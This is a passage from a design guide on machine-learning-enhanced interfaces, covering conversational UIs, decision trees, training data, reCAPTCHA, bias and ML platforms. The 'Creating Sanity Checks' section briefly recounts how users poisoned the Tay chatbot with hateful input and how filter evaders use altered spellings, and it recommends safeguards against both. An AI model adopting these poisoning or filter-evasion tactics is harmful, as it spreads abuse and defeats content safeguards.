it were to take this approach! Programmers may be familiar with a different mechanism for facilitating interaction: the ""read-evaluate-print loop"" (or REPL). In this kind of interface, the programmer issues a specific textual command, the machine performs it, prints the output, and waits for the user to issue another command. This back-and-forth dialogue takes the familiar form of a messaging app and allows programmers to work more quickly and dynamically by circumventing the need for the tedious and incessant navigation of menu hierarchies. This conversational format also provides an ideal medium for facilitating the kinds of multimodal interactions described in the previous section. In this machine-learning-enhanced context, we can imagine many vibrant and varied exchanges between the user and machine. Much like a whiteboarding session held by human collaborators, the user and software would take turns addressing aspects of the task at hand, solving its component problems and clarifying their ideas through an assortment of verbal expressions, diagrams, and gestures. Assisting Feature Discovery Despite its many advantages, an open-ended dialogue does little to make the system's capabilities known to the user. To make the most of a REPL programming interface, the user must hold prior knowledge of the available features or make frequent reference to the documentation, which is likely to negate any efficiency gains over menu-based workflows. For intelligent interfaces, offloading the process of feature discovery to auxiliary documentation would be even less practical. The potential limitations of a conversational user interface can be seen in our interactions with first-generation intelligent assistants such as Siri, Cortana, and Echo( Figure 1-15 ). In this context, feature discovery often consists of the user scouring his or her mind for phrases that might lead to some amusing or useful response from the software. One solution to the problem of feature discovery that is offered by many intelligent assistants is to provide the user with a set of example inputs that demonstrate a variety of features available within the system. The computational knowledge engine WolframAlpha embeds examples directly into its interface, helping new users to become acquainted with the system's mode of interaction and the kinds of knowledge it is able to access. These well-curated examples continue to engage even seasoned users, inviting further exploration into the entertaining or informative pathways they reveal. Demonstrating an application's full range of features through a series of embedded examples can, however, begin to make the software look suspiciously like a reference manual. Rather than handpicking a static group of examples, machine learning or conventional programmatic logic can be used to dynamically select examples that are contextually relevant to the user's activity. Going further, machine intelligence could be used to generate speculative extensions of the user's trajectory, providing a series of possible next steps in a range of conceptual directions for the user to consider. This mechanism would not only extend the user's understanding of the interface and its possibilities, but also enrich his or her fluency with the task or domain of interest at hand. Another common mechanism for helping users to locate features within a conversational interface is to offer suggested meanings when their statements are not clear to the system. This can be helpful in correcting the improperly formed expression of a command that is already more-or-less known to the user. But if the user is completely unaware of some potentially advantageous feature, he will not think to ask for it in the first place, and this mechanism can provide no assistance. We could, in theory, defer the problem of feature discovery to the march of progress in technology and assume that computers will eventually be intelligent enough to perform any task that could conceivably be asked of them. Yet, the machine's ability to handle any request would not inherently translate to the user's awareness of every possible request that might prove useful to his goals. Furthermore, the user may not be familiar enough with the problem domain to develop a set of goals in the first place. Think for a moment about what question you might ask a Nobel laureate in chemistry. Without a strong working knowledge of the field, you would be unlikely to formulate a question that took full advantage of her expertise. To make the most of this opportunity, you would like need some guidance in finding an entry point to a fruitful line of inquiry. To assist users in performing complex or domain-specific tasks, designers should strive to build systems that not only respond to user requests but also enrich the user's understanding of the domain itself. It is not enough for intelligent interfaces to offer an infinite variety of features; they must also find ways of connecting the user with the possibilities they contain. Getting Acquainted Perhaps the greatest challenge of any conversation is knowing where to begin. When you meet someone new, you cannot be sure that your personal experiences, professional background, or even the idioms and gestures you use will overlap with theirs. For this reason, we often begin with simple pleasantries and then attempt to establish common ground by posing basic questions about the other person's interests, line of work, and family before diving into more specific subjects and inquiries. Similarly, in designing conversational user interfaces, we must establish common ground with users and introduce them to the system's capabilities and modes of interaction, since they are not explicitly detailed by a menu system. A blank page can be stifling and may lead some users to lose interest immediately. For this reason, it is important to have the user get his feet wet as quickly as possible. Rather than simply showcasing example inputs that demonstrate a few basic features, the application could instead ask the user to perform a simple task that employs one of these features. This gives the user an initial confidence boost and helps to get the conversational juices flowing. As the user gains traction through these initial exercises, the software can gradually become less proactive in soliciting specific actions and allow the user to explore the tool on his or her own terms. Over time, the system can continue to suggest new features to the user. But designers should be careful not to bombard users with too many new ideas as they become acquainted with the system. Once acclimated, the user's own explorations and activities can help the system to understand what features would be most useful to her. Subsequently, if the user is idle or appears to be at an impasse, the system can suggest contextually relevant new activities or features that have never been explored by the user. This form of assistance will be discussed further in the section Designing Building Blocks . The user should, of course, always have the ability to opt out of these suggestions or redirect them toward more relevant functionality. Before leaving these introductory exercises, it is also important to make sure that users know how to get help from the system when they need it. Many new users will be eager to dive into the software as quickly as possible, leading them to rush through these important on-boarding exercises. In a conversational interface, an obvious and natural mechanism for seeking assistance from the system would be to use a keyword like ""Help!"" In some cases, however, the user's confusion may come from a lack of familiarity or comfort with the open-ended nature of a conversational interface. For this reason, it may be valuable to provide a concrete and persistent interface element such as a help button that allows the user to quickly and unambiguously reach out for assistance. Seeking Clarity In an open-ended dialogue with an intelligent interface, it is only natural and perhaps even desirable for the user to develop the impression that anything is possible within the system. In most instances, however, this will not be the case. Though intelligent assistants give the appearance of broad conceptual versatility, their true capabilities are generally still limited to one or a handful of specific domains of functionality. Their ability to comprehend human language and map it to a particular function is also often somewhat brittle. Designers can help to mediate these technical limitations by providing conversational cues that lead the user away from broad or ambiguous statements, which cannot be easily parsed by the machine. A key component of this is to design for interactions that establish realistic expectations from the user and clearly indicate the kind of information that is being requested either through example or brief description. If an application prompted you to ""say what's on your mind,"" it would be disappointing or embarrassing to dive into a longwinded and enthusiastic description of your ideas only to have the machine respond with a terse ""I'm sorry, I don't understand."" Helping the user to focus on a specific task or to communicate a singular point of information is often most difficult at the beginning of a new interaction. The user may have several impressionistic or partially formed goals, but may not have sufficient clarity to articulate a clear point of entry to the system. The absence of accumulated contextual information that could otherwise be derived from the user's most recent actions also makes it more difficult for the machine to infer the user's intent at the outset of an interaction. Rather than starting with an open-ended question, the system could instead pose a specific yet basic one that will help to establish context and get the conversation going so that further details can be solicited in subsequent exchanges. In many cases, it may be helpful to provide users with a few categorical options that will localize their goals to a specific subset of the system's overall functionality. In the context of an e-commerce site, the system might open the conversation by asking whether the user is looking to purchase a specific item, browse for items in a particular section of the store, or make a return. Once the broad context has been established, the system can seek further details from the user by posing questions that extend organically from this point of entry. If the user indicated an interest in buying a specific item, the system might pose a series of questions about the desired size, materials, or optional accessories associated with that item. There is nothing more discouraging than having your ideas fall flat with no indication of what was confusing or how to better communicate your intended meaning. Perhaps the user's expression was completely outside the machine's domain of understanding. Or perhaps a single word choice or change of phrasing would have made the statement clear. But without any feedback from the machine, the user will be left in frustration to guess at the problem. When the user's input has been understood, the system should restate what it has understood before moving on to subsequent exchanges. If the system has not understood the user, it should try to indicate the nature of the problem to the best of its ability. Many machine learning and natural language processing platforms can be configured to return multiple speculative interpretations of the user's expression alongside confidence scores that numerically indicate the machine's certainty about the correctness of each interpretation it offers. Whenever possible, intelligent applications should try to correlate these speculative interpretations with broader contextual knowledge of the user's activities in order to eliminate the least plausible options. If this approach does not uncover a single unambiguous meaning, designers should consider presenting a handful of the most highly ranked interpretations to the user directly. Exposing users to these speculative interpretations will help them to understand the nature of the problem and rephrase or redirect a statement. Breaking Interactions into Granular Exchanges One of the most important things designers can do to facilitate successful exchanges between users and intelligent interfaces is to the help users break multistage workflows and their component interactions into small conceptual parcels. Simple expressions that communicate an individual command or point of information are more easily understood by machine learning and natural language processing systems than complex, multifaceted statements. Designers can help the user to deliver concise statements by creating interfaces and workflows that lead the user through a series of simple exercises or decision points that each address a single facet of a much larger and more complex task. An excellent example of this approach is 20Q, an electronic version of the game Twenty Questions. Like the original road trip game, 20Q asks the user to think of an object or famous person and then poses a series of multiple choice questions in order to discover what the user has in mind (see Figure 1-16 ). The first question posed in this process is always: ""Is it classified as Animal, Vegetable, Mineral, or Concept?"" Subsequent questions try to uncover further distinctions that extend from the information that has already been provided by the user. For example, if the answer to the first question were ""Animal,"" then the next question posed might be ""Is it a mammal?"" If instead the first answer were ""Vegetable,"" the next question might be ""Is it usually green?"" Each of these subsequent questions can be answered with one of the following options: Yes, No, Unknown, Irrelevant, Sometimes, Maybe, Probably, Doubtful, Usually, Depends, Rarely, or Partly. 20Q guesses the correct person, place, or thing 80% of the time after 20 questions and 98% of the time after 25 questions. This system uses a kind of machine learning algorithm called a learning decision tree (or classification tree ) to determine the sequence of questions that will lead to the correct answer in the smallest number of steps possible. Using the data generated by previous users' interactions with the system, the algorithm learns the relative value of each question in removing as many incorrect options as possible so that it can present the most important questions to the user first. For example, if it were already known that the user had a famous person in mind, it would likely be more valuable for the next question to be whether the person is living than whether the person has written a book, because only a small portion of all historic figures are alive today but many famous people have authored a book of one kind or another. Though none of these questions individually encapsulates the entirety of what the user has in mind, a relatively small number of well-chosen questions can uncover the correct answer with surprising speed. In addition to aiding the system's comprehension of users' expressions, this process can benefit the users directly in their ability to communicate ideas more clearly and purposefully. This process can also make the task of communicating an idea more playful and engaging for the user. Aside from guessing games, designers may find this approach to be useful in a wide range of human-computer interactions. At its core, this process can be seen as a mechanism for discovering an optimal path through a large number of interrelated decisions. From this perspective, we can imagine applying this approach to processes like the creation of a financial portfolio or the discovery of new music. In developing a financial portfolio, users would be presented with a series of questions that relate to their financial priorities and constraints in order to find a set of investments that are well-suited to their long-term goals, risk tolerance, and spending habits. In the context of music or movie discovery, this process may help to overcome some of the limiting factors associated with standard recommendation engines. For example, a user may give a particular film a high rating because it stars one of his favorite actors, even though the film is of a genre that is generally of no interest to the user. From this rating, a recommendation engine is likely to suggest similar films without giving the user the opportunity to point out that the actor rather than the genre was the key factor in his rating. Using an interactive decision tree process, this important distinction could be more easily uncovered by the system. Designing Building Blocks The kinds of machine-learning-enhanced workflows described above can provide designers with powerful new tools for making complex tasks more comprehensible, efficient, and enjoyable for the user. At the same time, enabling these modes of interaction may require designers to diverge from at least some of the longstanding conventions of user interface and user experience design. In the section Mechanical Induction , we discussed inductive learning as a search process. Similarly, any task for which the user has some desired end-state in mind and must discover a series of operations that will reach this goal can be seen as a kind of search. From this perspective, let us imagine a very large map in which each possible end-state as well as our starting point is represented by a unique set of coordinates. In this map, each feature of the software can be seen as a road that takes us a certain distance in a particular direction. To navigate this space, we must find a sequence of actions or driving directions that lead from our starting position to the desired destination (see Figure 1-17 ). A low-level feature would be equivalent to a local road in the sense that it moves us only a short distance within the map, whereas a high-level feature would be more like a highway. The nice thing about highways is that they take us great distances with a relatively small number of component actions (see Figure 1-18 ). The problem, however, is that highways only have exit ramps at commonly visited destinations. To reach more obscure destinations, the driver must take local roads, which requires a greater number of component actions. Ideally, a new highway would be constructed for us whenever we leave home so that we could arrive at any possible destination with a small number of actions (see Figure 1-19 ). But this is not possible for pre-built high-level interfaces. Machine learning allows us to extrapolate a great deal of information about users and what they wish to achieve through the observation of their behaviors. Rather than trying to anticipate the user's needs through a set of prebuilt high-level interfaces, we can instead design systems that learn from the user's engagement with the software. For example, we can discover commonly used sequences of low-level features and then dynamically combine these low-level features into custom, purpose-built features related to the user's current activity within the system. The behavioral patterns used in the automated production of custom high-level features can be mined from individual users or across many users. Somewhat like recommendation systems that suggest music or movies based on the similarities of users' tastes, the discovery of patterns across numerous users can be employed to suggest relevant features to an individual based on the workflows he or she tends to utilize. This will allow designers to better address the diversity of users and their varied ways of digesting information, making decisions, and interacting with software. It allows designers to meet users where they are rather than asking them to adapt to a singular preordained mentality or workflow offered by a more conventional, static user interface. Additionally, by extrapolating behavioral patterns across many users, designers can better understand the implicit relationships between the features offered within their systems, providing important insights as to how the software can be further developed to better serve the needs of their users. The high-level features generated through this process can be presented to users in a variety of ways. Based on the recent trajectory of a user's actions, a modal interface offering one or several possible next steps could be presented to the user through a mechanism somewhat like the autocomplete feature offered by some text editing applications. Alternately, a custom-generated feature could be associated with a conventional interface element such as a button. This approach, however, raises questions as to how the user would be made aware of the effect that this newly generated feature would have. In conventional interfaces, buttons are generally associated with a text label or icon that indicates the feature's purpose. For custom-generated features that bundle the functionality of several more granular features, producing labels or icons of this kind may be challenging. Furthermore, it would likely be difficult for the user to keep track of the large and ever-changing iconography of the interface. To circumvent this challenge, rather than indicating the effect of a given feature through a label or icon, when the user hovers over the interface element associated with the feature, the system could demonstrate its effect directly. For example, a user purchasing a car online might opt to change the paint color. In doing so, a button could be generated so that when the user hovered over it, the view of the car would show a preview of a set of suggested additional changes, such as to the upholstery fabric, trim, and so forth. If the user clicked the button, these changes would be made, but if the user chose not to click the button and moved the cursor away, the preview of the car would remove these changes. By adopting this methodology, the designer's role would shift away from the overall curation of high-level functionality and toward the creation of more granular interface elements. The overall curation would emerge from the aggregation of individual points of information communicated by the user. This movement from preset rule systems and interfaces to implicit, intelligently generated ones means that designers would be relinquishing some control of certain aspects of the design. Doing so, however, would enable users to address tasks that have not been explicitly anticipated by the software's designer. This paradigmatic shift would greatly further the most important goal of design: to serve the needs of users. Acquiring Training Data A machine learning system is only as good as the data it is trained upon. No matter how powerful an algorithm may be, it cannot extract meaningful patterns if those patterns are not represented by the data. In fact, in some cases, a more powerful machine learning algorithm may produce especially erroneous results from poor training data because, in absence of meaningful patterns, the system may direct its power towards the learning of irrelevant patterns that exist within the dataset's noise. In general, the quality of a given dataset relates to the following characteristics: Completeness: The extent to which the data is indicative of the full range of behaviors that is possible within the represented system. For instance, temperature data for a given city would be highly incomplete if it were only recorded on rainy days. Accuracy: The extent to which the data is true to the real-world behaviors it represents. In other words, the recorded temperature on a particular day should exactly match what the actual temperature was. Consistency: The extent to which various data points within the set do not conflict with one another. This means that there should not be more than one recorded temperature in the data set for the same time period and location. Timeliness: The extent to which the data is relevant to the current state of the system. For example, temperature data for a given city from 1900 may not be indicative of more recent patterns in the city's weather. To achieve these characteristics within a dataset, a great deal of human labor is often required. Accuracy, consistency, and timeliness require careful data collection, curation and maintenance. Completeness is often achieved in part through the sheer volume of examples within the dataset. With a greater number of examples, it is more likely the dataset will account for the full range of possible behaviors. For this reason, it is not uncommon for the datasets used by large-scale machine learning systems to contain hundreds of thousands or millions of training samples. The ImageNet dataset (see Figure 1-20 ), used to train Google's image classification system, contains over 14 million images, each of which is accompanied by a textual label that identifies which one of over 22,000 categories of objects the image depicts. 9 For certain machine learning problems that have received significant attention from the industry and research community, large and well-curated datasets are freely available on the Web. Resources for finding these datasets can be found in the section Going Further . But for machine learning problems that have not been as widely studied, the availability of usable data has been one of the biggest bottlenecks in the advancement of applied machine learning systems. The Intelligence Feedback Loop In the previous section, we discussed how interface design can aid users in clearly communicating ideas and information to machine-learning-enhanced systems. Conversely, these same mechanisms can be employed to improve machine learning systems' ability to learn from user-generated data. Through this symbiotic relationship, the aptitudes of machine learning systems and human users can build upon one another, elevating the capabilities of both parties to new heights. One significant example of this symbiosis at work can be seen in the reCAPTCHA system ( Figure 1-21 ), with which many readers will already be familiar. CAPTCHAs were developed as a mechanism for verifying that users trying to access a website are human, doing so by asking them to perform tasks that cannot be easily deciphered by machines. Realizing that the performance of these menial tasks would collectively represent a great deal of wasted human effort, Luis von Ahn and several other researchers at Carnegie Mellon University designed a system called reCAPTCHA that would put this effort to good use. In its early versions, the reCAPTCHA system would present the user with the image of a word that had failed to be deciphered by an optical character recognition system tasked with digitizing printed texts. This image was often paired with the image of a ""control"" word that had already been deciphered. To gain access to the website, the user would be asked to type the two words. If they correctly entered the control word, it was assumed that the user's entry was valid and they would be given access to the site. Their entry for the previously undeciphered word would then be compared against entries for the same image performed by several other users. If multiple users' entries for a specific image were in agreement, the entry was assumed to be correct and would be inserted into the digitized version of the originating text. Google later acquired this technology, which played an important role in the digitization of the New York Times archives and the contents of several university libraries under the Google Books project. More recently, reCAPTCHAs have been used to improve the performance of Google's image recognition system by presenting users with a grid of thumbnail images and asking them to select only the images that depict a particular category of object. This clever idea provides greater security to websites while simultaneously aggregating small bits of human effort to improve the capabilities of machine learning systems that will in turn benefit human users. reCAPTCHA is a relatively straightforward idea, but a powerful and efficient one. The underlying spirit of this idea can be adapted by designers to a wide variety of applications in the development of machine-learning-enhanced systems. Designers can create symbiotic relationships between users and computational systems that benefit both parties while streamlining the arduous task of data collection and cleaning for system developers. Dealing with Challenges Designing for Uncertainty An unreliable system is often worse than no system at all. In our daily lives, we rely upon countless systems that aid us in tasks related to everything from keeping track of our schedules to keeping our families safe. Whatever services these systems may offer, they are only valuable to us if they work consistently. The detrimental effects of a single failure may far outweigh the benefit produced by a thousand instances of the system working correctly. Designing a flawless system is a tall order in any context. But it is particularly challenging in the context of machine learning, where a system's behaviors are defined probabilistically through the machine's experiential training on a finite number of discrete examples. The machine has no way of knowing whether these training examples are indicative of every possible circumstance it may encounter in real-world usage. Furthermore, if the machine does encounter unfamiliar conditions, rather than proclaiming its inability to deal with the situation, it may attempt to fit the new data into its existing model and return its results to the user without any indication that something is amiss. If a machine learning system has been designed to return confidence scores alongside of its predictions, it is likely that the system's attempt to fit incongruous data into an existing model will yield a low confidence score, giving designers the opportunity to catch erroneous results before they reach the user. Unfortunately, though, there can be no explicit guarantee that a perfect storm of conditions, which obfuscates the incongruousness of a particular data sample, will not arise. Though conventional computer programs can contain bugs, their explicitly encoded logic provides relatively strong assurances that their behaviors will be predictable and repeatable. As computers have become indispensable parts of our daily lives, we have become increasingly accustomed to their predictability and reliability. As we move towards the adoption of intelligent systems, it will be difficult for users to shift their expectations of reliability, even if their reduced reliability comes with the promise of far more advanced functionality. To mitigate the risks associated with the erroneous behaviors of machine learning systems and provide users with the best possible experiences, designers should take the following steps before releasing their software to the public: Design for interactions in which the system explicitly restates its understanding of the tasks it has been asked to perform, giving users the chance to catch errors and redirect the system's behavior. When possible, provide fallback mechanisms through conventional user interfaces that allow users to circumvent machine-learning-enhanced functionality and perform tasks using explicit logic and interfaces. Perform rigorous testing of the software in as many environments and usage scenarios as possible to uncover possible faults or inconsistencies that may arise from conditions that differ from those of the original development environment. Limited release to an audience of more knowledgeable and error-tolerant testers may help to uncover circumstantial inconsistencies before wider release to the public. Use all available metrics, namely confidence scores, to assess the validity of included features. Set realistic expectations in how you present a feature and its effectiveness to the user. Resist the temptation to include an impressive-sounding feature if its behavior is too unreliable. This assessment should weigh the complexity and potential value of the feature against the likelihood of its failure. If a feature offers some potentially revolutionary new capability, users may be more willing to accept that it only works 90% of the time. Make users aware of any risks that might accompany their use of the software or a particular feature and allow them to decide for themselves whether these risks are outweighed by the potential benefits of the system's functionality. In cases where a system failure may have extraordinarily serious consequences such as irrevocable damage to the user's property, injury, or death, the value of a feature's inclusion should be weighed with extreme caution and a lawyer should be consulted to assess the risks and liabilities as well as to formulate any necessary disclaimers that will be presented to users. Mitigating Faulty Assumptions We all feel uncomfortable having anyone, human or otherwise, make a decisive characterization of our identity that conflicts with the way we see ourselves or wish to be perceived by others. As machine learning continues to reach further into the domain of personality insights and customer preferences, the ability to connect users with products they are likely to find interesting will lead to better customer experiences and more efficient markets, but also open the door to many possible awkward situations. It is one thing to say to the user, ""I think you'll enjoy this upcoming Barry Manilow concert."" It is quite another thing to say, ""Your tastes are aligned with our 'old fart' user category, therefore I think you'll enjoy this Barry Manilow concert."" Rather than explicitly characterizing the user, we can leave the machine learning system's statistical correlations in the statistical realm and behind the scenes. We can make suggestions about things that the user might find interesting without stating what lead the machine to believe the user would be interested. Nevertheless, the statistical bases upon which such recommendations are made may inadvertently reflect cultural biases or other faulty assumptions about the user. In the last few years, machine learning systems have made incredible progress in their ability to perform complex tasks like image tagging. The creators of these systems have been excited to share their work with the world as quickly as possible, even when the software was still in an early stage of development. Yet, it is difficult to guard against or even foresee all possible failings of these nascent technologies and, as a result, several embarrassing or offensive incidents have occurred. In the most serious of these incidents, Google's Photos app tagged several black users as ""Gorillas."" The upset caused by this incident is more than understandable. However, it is important to remember that the machine learning system involved has no access to or awareness of the complex societal concepts that make this error offensive. The error is owed in part to an imbalance in the set of images used to train the system, a circumstance which Google and other technology companies should seek to rectify. But, as the machine learning expert Andrew Ng said, ""... it's obvious this is an innocent rather than deliberate mistake, and just one of millions of mistakes that learning algorithms undoubtedly make every day."" 10 Regardless of the machine's innocence, this error revealed a flaw which created hard feelings, and we should do everything we can to prevent similar incidents from occurring in the future. One component of this is to strive for ever more accurate machine learning models. Another is to work at discovering any implicit biases that may be in the datasets we provide the machines ahead of time. Yet, given their experiential isolation from the human world, it is unlikely that machines will be able to circumvent all possible cultural prejudices in the foreseeable future. Therefore, we must find ways of preventing such errors through design. For instance, designers should consider offering users explicit mechanisms for flagging offensive content, providing guidance as to how they wish to be characterized, or opting out of particular features that are likely to produce faulty assumptions. Creating Sanity Checks Since machine learning models have no inherent means of detecting gaps or biases in their own knowledge, designers should look to outside mechanisms in safeguarding against potentially offensive or erroneous behaviors. This may prove difficult in many instances, because one of the primary motivations for using machine learning in the first place is the capacity of these systems to work with information that is too complex or subtle for the explicit logic of conventional computer programs. However, conventional code can provide at least some assistance in spotting obvious issues like the evocation of overtly derogatory language. Around the time of this writing, Microsoft released a chatbot called Tay, which was designed to respond to users on Twitter and other messaging services. Within a day, the bot was taken offline after posting an astounding number of inflammatory messages. Perhaps the most surprising thing about this incident was that the messages in question did not contain subtly offensive innuendo or easily misconstrued associations; they instead contained overtly derogatory language and sentiments, using widely known racist and sexist terminology as well as references to Adolph Hitler and the like. As it turns out, the system was trained on user-generated content and was targeted by people who hoped to produce this outcome by inducing the system to learn from their own hateful statements. Yet, this outcome could have been at least partially avoided if the system's designers had used code to check the bot's messages against a dictionary of offensive words before posting to Twitter. This approach can turn into something of a cat-and-mouse game, because users wishing to subvert such safeguards often resort to inventive spellings of words or tactics like replacing the letter ""e:"" with the numeral ""3"" so that their use of flagged terminology will go undetected. It is worth noting, however, that many of the offensive terms used in Tay's messages were spelled correctly and could have been easily caught by even most basic of safeguarding mechanisms. Though somewhat counterintuitive, another approach that might have been taken in this scenario would have been to use a secondary machine learning system that had been specifically trained for the detection of offensive content. Systems of this kind are used for spam filtering in services like email and user forums. They are also used by marketers in the sentiment analysis tools they employ to better understand comments about their products posted on social networks. Though neither of these approaches can completely solve the problem, they can at least guard against the most blatant abuses. Aside from these mechanisms, designers should rely upon the collective intelligence of their user base by providing explicit interface elements that allow users to flag offensive or erroneous content for review by system administrators and subsequent integration into the machine learning model. This approach, more than any automated one, will help designers to stay ahead of malicious users and flawed datasets. Working with Machine Learning Platforms In theory, machine learning can be applied to any kind of information that contains patterns, so long as those patterns can be sufficiently exemplified by a set of training data. In practice, however, some forms of information can be more readily accessed and applied to real-world design problems than others. For more common machine learning tasks like image tagging and speech-to-text functionality, designers may utilize turn key solutions offered by a variety of Machine-Learning-as-a-Service (MLaaS) platforms, which enable straightforward integration with user-facing systems through RESTful APIs and design patterns. In many cases, these MLaaS platforms will also enable the relatively straightforward deployment of machine learning systems trained on custom datasets provided by the designer. For more exotic or domain-specific use cases, designers may look to more customizable open source machine learning toolkits or even fully customized software, which tend to require a deeper technical understanding of the underlying algorithms as well as of the technical issues related to the deployment of such technologies within large-scale user-facing systems. Machine-Learning-as-a-Service Platforms Several large technology companies and startups offer high-level machine learning platforms, which provide designers with straightforward access to turnkey solutions or customized training on designer-provided data. The list of MLaaS platforms is growing quickly. Some of the most popular platforms include: IBM Watson, Amazon Machine Learning, Google Prediction API, Microsoft Azure, BigML, and ClarifAI. Despite the many advantages of these systems, there are several important downsides that may factor into a designer's decision of whether to use a platform of this kind in building their system. First, the use of these systems comes with recurring costs that will grow with a wider user base. Though the cost of an individual query is generally quite low and bulk rates are available, for a sufficiently large user base, these costs can become prohibitive without a viable revenue model to support the product. Additionally, these platforms generally do not provide a straightforward path for moving a system developed within one MLaaS platform to a competing platform. This platform lock-in may contribute to the long-term cost of ownership and may constrain future innovation within a designer's system. Finally, systems built on top of MLaaS platforms tend to require the user's device to have internet connectivity in order to query the remotely hosted model. This may be limiting in some applications and may incur data usage costs for the user. However, the models associated with many complex machine learning may be too large or computationally intensive to run on user devices, making cloud-based deployment the only viable route regardless of whether a MLaaS or custom machine learning solution has been used. Turnkey Solutions If the machine-learning-based functionality you wish to offer within your design is specifically supported by a turnkey feature of one of these platforms, this approach will offer the quickest and easiest path to a deployable user-facing product. Though the specific features offered will differ by platform, many MLaaS platforms offer turnkey solutions for tasks including natural language parsing, language translation, speech-to-text, personality insights, sentiment analysis, image classification and tagging, face detection, and optical character recognition. The creators of these systems have put a great deal of work into the development and testing of their underlying algorithms as well as the gathering of large and well-cleaned datasets that will ensure robust functionality. These turnkey features can be utilized without any further knowledge of the underlying algorithms or datasets using straightforward API calls in an assortment of languages. For example, an image classification query can be performed using the Node interface of the IBM Watson platform with the code used in Figure 1-22 . Watson would subsequently return the JSON response in Figure 1-23 , which can be easily parsed by the client system and integrated into the user-facing design: Custom-Trained Systems Aside from the areas of turn key functionality listed above, MLaaS platforms can be used in a wide range of machine learning problems that require custom, designer-supplied datasets. In such cases, designers may circumvent the arduous process of building, testing and deploying the machine learning system itself. They will, however, still need to devote time and resources to ensuring that the datasets they provide to these systems are clean and well-curated, though many MLaaS platforms offer substantial assistance in streamlining these processes as well. Though the specific functionality offered will differ by platform, many MLaaS platforms provide functionality related to user behavior prediction, customer analytics and insights, inventory trends, recommendation engines, content personalization, fraud and anomaly detection, and any other supervised learning problem. The training process for these systems generally involves the designer uploading a spreadsheet or formatted data to the platform, waiting for the model to be trained in the cloud, and then testing its behavior before deploying the functionality within a user-facing design. For most supervised learning problems, the data spreadsheet supplied to the MLaaS platform would contain at least two columns: one or more columns to represent the input attributes for a particular example and another column to represent the desired output associated with that input. As with any training process, a larger number of examples (or spreadsheet rows) is likely to result in a more robust model. Once trained, queries to the model are performed in a similar manner to the example shown above for turn-key features. Open Source Machine Learning Toolkits For some machine learning problems and user-facing platforms, particularly native applications designed for offline usage, it may be necessary to deploy technologies outside of the MLaaS platforms described above. In such instances, designers may avoid at least some aspects of the lengthy development processes associated with fully customized solutions by building on top of one of a growing list of open source machine learning toolkits, which are available for a variety of programming languages and platforms. Some popular toolkits of this kind include: TensorFlow, Torch, Caffe, cuDNN, Theano, Scikit-learn, Shogun, Spark MLlib, and Deeplearning4j. These lower-level toolkits generally require more programming experience than is necessary for the use of MLaaS platforms. Additionally, deeper knowledge of specific machine learning algorithms and their associated training techniques will likely be required for their effective use. While the MLaaS platforms listed above tend to include automated training processes, these toolkits will require designers to tune algorithmic hyperparameters such as the learning rate to align with the specific characteristics of their chosen dataset. This tuning process is aided by a deeper knowledge of mathematics and often involves at least some time-intensive trial-and-error to find suitable values. Training a machine learning system tends to be a highly computationally intensive process, and for large or complex datasets, it is often impractical or even impossible to perform this process on a single consumer-grade machine. Many of the toolkits mentioned above are designed for use on large-scale hardware systems that use numerous CPUs or high-performance GPUs to perform training. This hardware can be cost-prohibitive and may require specialized knowledge related to the performance-enhancement mechanisms employed by a specific toolkit. Once trained, the system will still need to be deployed to the desired user-facing platform. In most instances for which these toolkits are applicable, the user-facing platform will have little in common with the large-scale system utilized during the training process. This means that designers must navigate two separate sets of technical and infrastructural challenges in developing their systems and making them available to users. Despite these challenges, these toolkits offer a viable pathway for designers wishing to add customized machine learning functionality to user-facing systems. Many of these tools are backed by large technology companies, who have a vested interest in their wider adoption and are working to progressively make their tools more accessible to a wider audience of designers and developers. One additional selling point of these toolkits over MLaaS platforms is that the tools themselves are free to use and deploy, though training them on a large-scale platform may require designers to either acquire their own costly hardware or pay for the use of a cloud-based system. Like MLaaS platforms, the trained models developed using a toolkit of this kind may not be easily transferred for use with a different toolkit. However, in most cases, these customizable toolkits provide a more straightforward path for doing so than would be possible for a system backed by one of the MLaaS platforms. Fully Customized Machine Learning Tools The open source toolkits listed above strive to provide thoroughly tested implementations of proven machine learning algorithms and techniques. As a result, these tools may not include more experimental algorithms coming from recent research that has not yet been thoroughly reviewed and field tested. In some instances, these advances may provide incremental improvements to existing algorithms and in other cases may offer revolutionary new functionality. Integrating these technologies into user-facing systems will almost always require custom implementation work involving the translation of algorithms from their mathematical notation in formal research papers to working code. Rigorous testing as well as additional implementation work related to the performance and scaling of the system would also likely be required. This work generally requires a large team of developers with advanced knowledge of theoretical machine learning as well as deployment technologies. For these reasons, this approach is not advisable in most instances. Designers who are interested in working with experimental machine learning technologies should consider joining larger teams, which are better suited to the multifaceted task of making these emerging technologies ready for production. Machine Learning Prototyping Tools Prototyping is an essential component of many design processes. It helps designers to sketch the basic functioning of their systems, test assumptions about how users will interact with planned features, and fine-tune those features before turning to more costly and time-intensive implementation processes. Unfortunately, the complex architectures and computationally intensive training processes associated with machine learning present challenges for the rapid prototyping of machine-learning-enhanced systems. In cases where a turnkey MLaaS solution is applicable, designers may be able to prototype their ideas with relative ease. But in instances where the desired functionality requires a custom dataset or code, producing even a basic prototype can take substantial time, effort, and knowhow. Presently, there are a limited number of tools available for assisting the prototyping of machine learning systems-a circumstance that will hopefully change over the next few years. In the meantime, several existing tools may help to ease the prototyping process. From the programming-free Wekinator to the Mathematica interface and the more programming-intensive Keras, the series of tools presented below can serve as stepping stones for students and designers wishing to prototype solutions to real-world design problems while becoming acquainted with machine learning systems and workflows in a hands-on way. Wekinator Wekinator is a free, open source tool created by Rebecca Fiebrink. It allows users to develop experimental gesture recognition systems and interface controllers for a wide range of input devices including webcams, microphones, game controllers, Kinect, Leap Motion, physical actuators (through an Arduino), keyboards, and mice. Unlike many machine learning workflows, Wekinator requires no programming or wrangling of datasets. Instead, the software walks the designer through an interactive process in which she defines a particular gesture by demonstrating it to the machine and then associates the gesture with a desired output action. To aid prototyping and integration with other software, a trained Wekinator model can be set to broadcast its output events using the popular OSC protocol. Though Wekinator is only geared toward a specific domain of machine learning functionality, it provides a powerful medium for prototyping and designing machine-learning-enhanced multimodal user interfaces. See Figure 1-24 . Wekinator can be downloaded from: . Mathematica The popular technical computing platform Mathematica has added a wide range of automated machine learning features to its most recent version, Mathematica 10. This tool features a polished user interface and does not require a deep understanding of programming, though some basic familiarity with text-based scripting will be helpful to new users. Its machine learning features can be applied to a wide range of data types and its automatic data preprocessing and model selection features will help users to get good results without a great deal of trial-and-error or deep knowledge of a particular model's training parameters. Mathematica provides turnkey support for a range of common machine learning tasks such as image recognition, text classification, and classification or regression of generic data. Datasets can be loaded through an interactive, visual interface. Mathematica is extremely well documented and embeds assistive tools like feature suggestion and autocompletion directly 